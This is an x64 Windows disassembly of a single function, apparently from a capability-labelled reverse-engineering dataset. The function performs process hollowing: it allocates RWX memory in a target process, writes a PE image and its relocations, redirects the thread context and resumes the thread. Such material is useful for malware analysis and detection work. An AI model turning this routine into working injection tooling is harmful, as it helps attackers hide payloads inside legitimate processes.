Function at 0x1400069a0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
push r12
push r13
push r14
sub rsp, 0x350
mov rax, qword [0x140117080]
xor rax, rsp
mov qword [rsp + 0x328], rax
movsxd r13, dword [rdx + 0x3c]
mov r14, rdx
add r13, rdx
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x38], r13
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0x3000
mov r8d, dword [r13 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x140006a0b
lea rcx, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
call fcn.1400023c0
xor eax, eax
jmp 0x140006d5d
mov rdx, rax
lea rcx, str.___Memory_allocate_at_:_0x_p_n
call fcn.1400023c0
mov rax, qword [rsp + 0x40]
mov r8, r14
mov r9d, dword [r13 + 0x54]
mov ecx, eax
sub ecx, dword [r13 + 0x34]
mov dword [r13 + 0x34], eax
xor eax, eax
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x320], ecx
mov rcx, qword [r12]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140006a64
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
call fcn.1400023c0
xor eax, eax
jmp 0x140006d5d
mov rdx, qword [rsp + 0x40]
lea rcx, str.___Headers_write_at_:_0x_p_n
mov qword [rsp + 0x380], rbx
mov qword [rsp + 0x348], rbp
mov qword [rsp + 0x330], r15
call fcn.1400023c0
movsxd rbx, dword [r14 + 0x3c]
xor r10d, r10d
cmp dword [rbx + r14 + 0xa0], r10d
je 0x140006aa8
mov rbx, qword [rbx + r14 + 0xa0]
jmp 0x140006aab
mov rbx, r10
mov rbp, r10
mov qword [rsp + 0x340], rsi
mov r15d, r10d
mov qword [rsp + 0x338], rdi
mov qword [rsp + 0x30], rbx
cmp r10w, word [r13 + 6]
jae 0x140006d27
mov rsi, r10
nop dword [rax]
nop dword [rax + rax]
movzx edi, word [r13 + 0x14]
add rdi, 0x18
add rdi, rsi
add rdi, r13
mov edx, dword [rdi + 0xc]
cmp ebx, edx
jb 0x140006b01
mov ecx, dword [rdi + 8]
add ecx, edx
cmp ebx, ecx
cmovb rbp, rdi
mov r8d, dword [rdi + 0x14]
mov r9d, dword [rdi + 0x10]
add r8, r14
add rdx, qword [rsp + 0x40]
mov rcx, qword [r12]
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, rdi
test eax, eax
je 0x140006d19
mov r8d, dword [rdi + 0xc]
lea rcx, str.___Section__s_write_at_:_0x_p._n
add r8, qword [rsp + 0x40]
call fcn.1400023c0
movzx eax, word [r13 + 6]
inc r15d
add rsi, 0x28
mov r10d, 0
cmp r15d, eax
jl 0x140006ae0
test rbp, rbp
je 0x140006d27
mov rdx, rbp
lea rcx, str.___Relocation_section_:__s_n
call fcn.1400023c0
xor r10d, r10d
mov ebx, r10d
cmp dword [rsp + 0x34], ebx
jbe 0x140006c63
mov r9d, dword [rbp + 0x14]
mov r11d, 0x1000
mov r13d, dword [rsp + 0x320]
mov r15d, ebx
add ebx, 8
mov eax, r9d
add rax, r14
add r15, rax
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140006c54
mov edx, r9d
mov esi, eax
nop dword [rax + rax]
mov ecx, ebx
add ebx, 2
mov eax, edx
add rax, r14
movzx r8d, word [rcx + rax]
cmp r8w, r11w
jb 0x140006c4a
mov rcx, qword [rsp + 0x40]
and r8d, 0xfff
mov edi, dword [r15]
add rcx, r8
add rdi, rcx
mov dword [rsp + 0x320], r10d
mov rcx, qword [r12]
lea r8, [rsp + 0x320]
mov rdx, rdi
mov qword [rsp + 0x20], r10
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [r12]
lea r8, [rsp + 0x320]
add dword [rsp + 0x320], r13d
xor eax, eax
mov rdx, rdi
mov qword [rsp + 0x20], rax
lea r9d, [rax + 4]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rbp + 0x14]
xor r10d, r10d
mov edx, r9d
mov r11d, 0x1000
sub rsi, 1
jne 0x140006bc0
cmp ebx, dword [rsp + 0x34]
jb 0x140006b91
mov r13, qword [rsp + 0x38]
lea rcx, str.___Relocations_done._n
call fcn.1400023c0
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x2c8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
jne 0x140006ca9
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
jmp 0x140006d2e
mov edx, dword [rsp + 0xf4]
lea r8, [rsp + 0x40]
mov rcx, qword [r12]
xor eax, eax
add rdx, 8
mov qword [rsp + 0x20], rax
lea r9d, [rax + 4]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140006cdb
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
jmp 0x140006d2e
mov ecx, dword [r13 + 0x28]
lea rdx, [rsp + 0x50]
add ecx, dword [rsp + 0x40]
mov dword [rsp + 0x100], ecx
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x140006d07
lea rcx, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
jmp 0x140006d2e
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140006d35
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
call fcn.1400023c0
jmp 0x140006d33
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_relocation_section_of_the_source_image._n
call fcn.1400023c0
xor eax, eax
mov rdi, qword [rsp + 0x338]
mov rsi, qword [rsp + 0x340]
mov rbp, qword [rsp + 0x348]
mov rbx, qword [rsp + 0x380]
mov r15, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x328]
xor rcx, rsp
call fcn.1400dd200
add rsp, 0x350
pop r14
pop r13
pop r12
ret